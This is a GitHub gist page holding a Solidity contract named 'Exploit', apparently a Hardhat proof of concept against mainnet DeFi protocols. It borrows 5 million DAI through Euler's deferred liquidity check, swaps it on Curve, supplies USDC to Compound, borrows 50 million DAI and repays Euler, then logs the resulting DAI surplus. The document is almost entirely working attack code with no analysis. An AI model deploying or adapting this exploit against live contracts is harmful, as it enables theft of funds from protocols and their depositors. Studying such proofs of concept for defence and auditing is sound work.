This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//SPDX-License-Identifier: Unlicense | |
pragma solidity ^0.8.0; | |
import "hardhat/console.sol"; | |
import '@openzeppelin/contracts/token/ERC20/ERC20.sol'; | |
interface IEulerMarkets{ | |
function activateMarket(address underlying) external returns (address); | |
function underlyingToEToken(address underlying) external view returns (address); | |
function underlyingToDToken(address underlying) external view returns (address); | |
function enterMarket(uint subAccountId, address newMarket) external; | |
function exitMarket(uint subAccountId, address oldMarket) external; | |
} | |
interface IEulerDToken{ | |
function borrow(uint subAccountId, uint amount) external; | |
function balanceOf(address account) external view returns (uint); | |
function repay(uint subAccountId, uint amount) external; | |
} | |
interface IExec{ | |
function deferLiquidityCheck(address account, bytes memory data) external ; | |
} | |
interface ICurve{ | |
function exchange(int128, int128, uint256, uint256) external; | |
} | |
interface ICToken{ | |
function mint(uint mintAmount) external returns (uint); | |
function borrow(uint borrowAmount) external returns (uint); | |
} | |
interface IComptroller{ | |
function enterMarkets(address[] calldata cTokens) external returns (uint[] memory); | |
function getAccountLiquidity(address account) external view returns (uint, uint, uint); | |
} | |
contract Exploit { | |
address comptroller = 0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B; | |
address cether = 0x4Ddc2D193948926D02f9B1fE9e1daa0718270ED5; | |
address cdai = 0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643; | |
address cusdc = 0x39AA39c021dfbaE8faC545936693aC917d5E7563; | |
address oracle = 0x65c816077C29b557BEE980ae3cC2dCE80204A0C5; | |
address usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; | |
address dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F; | |
address eulerMarket = 0x3520d5a913427E6F0D6A83E07ccD4A4da316e4d3; | |
address euler = 0x27182842E098f60e3D576794A5bFFb0777E025d3; | |
address exec = 0x59828FdF7ee634AaaD3f58B19fDBa3b03E2D9d80; | |
address pool = 0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7; | |
function start() external { | |
IExec(exec).deferLiquidityCheck(address(this), ""); | |
console.log("We have a DAI surplus of %s", ERC20(dai).balanceOf(address(this))); | |
} | |
function onDeferredLiquidityCheck(bytes memory encodedData) external { | |
IEulerMarkets markets = IEulerMarkets(eulerMarket); | |
IEulerDToken borrowedDToken = IEulerDToken(markets.underlyingToDToken(dai)); | |
uint256 borrowAmount = 5_000_000 ether; // 5 Million DAI | |
IEulerDToken(borrowedDToken).borrow(0, borrowAmount); | |
IERC20(dai).approve(pool, type(uint).max); | |
ICurve(pool).exchange(0, 1, borrowAmount, 0); | |
IERC20(usdc).approve(cusdc, type(uint).max); | |
ICToken(cusdc).mint(IERC20(usdc).balanceOf(address(this))); | |
address[] memory _markets = new address[](1); | |
_markets[0] = cusdc; | |
IComptroller(comptroller).enterMarkets(_markets); | |
ICToken(cdai).borrow(50_000_000 ether); | |
// Repaying the borrowed amount now | |
IERC20(dai).approve(euler, type(uint).max); | |
borrowedDToken.repay(0, type(uint).max); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment